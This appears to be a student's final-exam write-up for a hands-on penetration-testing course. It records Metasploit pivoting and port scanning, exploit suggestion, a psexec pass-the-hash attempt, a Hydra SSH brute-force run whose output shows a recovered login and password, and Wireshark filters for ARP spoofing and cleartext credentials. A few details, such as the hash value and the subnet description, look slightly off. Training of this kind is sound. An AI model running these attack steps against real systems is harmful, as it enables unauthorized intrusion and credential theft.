



Enhancing Digital Government Economy (EDGE)

Digital Skills for Students

Host University: Chittagong University of Engineering and Technology

Host Dept./Institute/Center: Dept. of CSE, CUET

Venue: Southeast University, Batch Number: CADS-003

Training Track/Course Name: Applied Penetration Testing Engineer: Hands-on

Level: Advanced Level



Final Examination

Student : Name: Zeeshan

Student ID: 2025100000373

Affiliation: Dept. of CSE,
CUET

1. RECONNAISSANCE & NETWORK DISCOVERY

The initial phase of the assessment focused on confirming local networking properties and identifying active internal routing layers accessible via the primary compromised node.

1.1 Interface Validation on Attacker Station

To verify operational routing parameters and confirm outbound connection delivery boundaries on the Kali Linux host machine, the infrastructure layout was audited via the `ifconfig` command. The target state evaluation returned the following interface profile:

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
      inet 192.168.92.130 netmask 255.255.255.0 broadcast 192.168.92.255
      ether 00:0c:29:d2:ca:93 txqueuelen 1000 (Ethernet)
```

1.2 Post-Exploitation Subnet Enumeration

After exploiting an entry-point vulnerability on the initial target to acquire a functional Meterpreter context, internal structural layout tracing was conducted to identify adjacent subnets inaccessible from the public internet. The internal structure was analyzed using the sequence below:

```
meterpreter > ipconfig
```

tracking across the
boundary. 103.122.138.0/24

```
meterpreter > arp
```

this command dumps the active address resolution tables from the machine's cache memory. This stealthily isolates the precise network location of the secondary core database entity situated at target IP 103.122.138.130 .

1.3 Port Discovery Across Tunnel Routing

To safely forward testing traffic into the isolated target network segment, an active pivot route was injected into the Metasploit routing architecture (`route add 103.122.138.0 255.255.255.0 1`). This binds communication requests to the stabilized proxy channel. A TCP network sweep was then initialized via the following auxiliary scanner:

```
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 103.122.138.130
msf6 auxiliary(tcp) > set PORTS 1-1024
msf6 auxiliary(tcp) > set THREADS 10
msf6 auxiliary(tcp) > run
```

2. PRIVILEGE ESCALATION ANALYSIS

With an active session stabilized on the system layer, an automated hotfix check was performed to identify pathways for upgrading local execution context limits to higher system-level privileges.

```
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run
```

PASSWORD CRACKING & AUTHENTICATION TECHNIQUES

Hashing Algorithm Structural Identification

An extracted administrative backup account credential ledger exposed an explicitly defined hash prefix matching the `$1$` string pattern. Under Modular Crypt Format (MCF) specifications, this identifier establishes that the user password was processed using the legacy **MD5-crypt (md5crypt)** derivation algorithm.

2.1 Historical Cracking Dump Retrieval

To inspect successfully cracked credentials from an active John the Ripper environment without starting a redundant lookup calculation, the local session database was checked using the following command syntax:

```
john --show hashes.txt
```

2.2 Pass-the-Hash (PtH) Authentication Mechanics

In scenarios where captured hashes resist dictionary-based cracking attempts, lateral movement can still be achieved using the Pass-the-Hash (PtH) technique. Because Windows NTLM authentication verifies challenge-response exchanges natively via hash algorithms, an operational shell can be obtained over SMB using an injection framework without translating the underlying plain text password:

```
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 103.122.138.130
msf6 exploit(psexec) > set SMBUser admin_backup
msf6 exploit(psexec) > set SMBPass
00000000000000000000000000000000:aad3b435b51404eeaad3b435b51404ee
msf6 exploit(psexec) > run
```

3. HYDRA SSH TESTING

An administrative SSH service gateway was evaluated using a customized brute-force wordlist. To minimize the risk of triggering local network connection blocks, strict rate-limiting rules were enforced:

```
—(root@kali)-[/home/kali/Desktop/New Folder]
# hydra -L user.txt -P pass.txt -t4 ssh://192.168.129.129
hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-17 09:17:
03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 tr
y per task
[DATA] attacking ssh://192.168.129.129:22/
[22][ssh] host: 192.168.129.129  login: marlinspike  password: marlinspike
1 of 1 target successfully completed, 1 valid password found
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-17 09:17:
05
```

ARP SPOOFING & WIRESHARK ANALYSIS

This section examines intercepting stateless protocols on a local segment and reviews the signature patterns generated by man-in-the-middle operations.

Because the Address Resolution Protocol (ARP) is stateless, it accepts response packets even if no corresponding query request was transmitted. Attackers can exploit this behavior by broadcasting unsolicited **Gratuitous ARP (GARP)** packets to map their own hardware MAC address to a critical service IP (such as the default gateway), effectively placing themselves in a Man-in-the-Middle (MitM) intercept position.

To identify this pattern, network monitoring teams can use the following Wireshark display filter to capture duplicate address announcements:

```
arp.duplicate-address-detected || arp.isgratuitous
```

FTP/HTTP TRAFFIC INSPECTION

Traffic captures were analyzed to identify cleartext authentication hazards transmitted across unencrypted application protocols.

Filtering Insecure Web Forms

To isolate unencrypted web form parameters containing target authentication fields sent via HTTP POST requests, the following display filter was applied:

```
http.request.method == "POST" && http contains "password"
```

Base64 Decoding for Basic Authentication

Legacy directories using HTTP Basic Authentication transmit data obfuscated via **Base64 encoding**. This approach provides formatting compatibility rather than cryptographic security. Analysts can isolate these packets using the `http.authbasic` filter

```
echo "dXNlcjpwYXNzd29yZA==" | base64 --decode
```

FTP Session Stream Reconstruction

To rebuild fragmented interactive payloads into a continuous, human-readable log transcript, analysts can use the **Follow TCP Stream** feature. Applying the `ftp` display filter, right-clicking an interactive control entry, and selecting *Follow -> TCP Stream* compiles the full session history. This instantly exposes unencrypted authentication sequences, such as cleartext credentials passed via the `USER`

and `PASS` parameters.
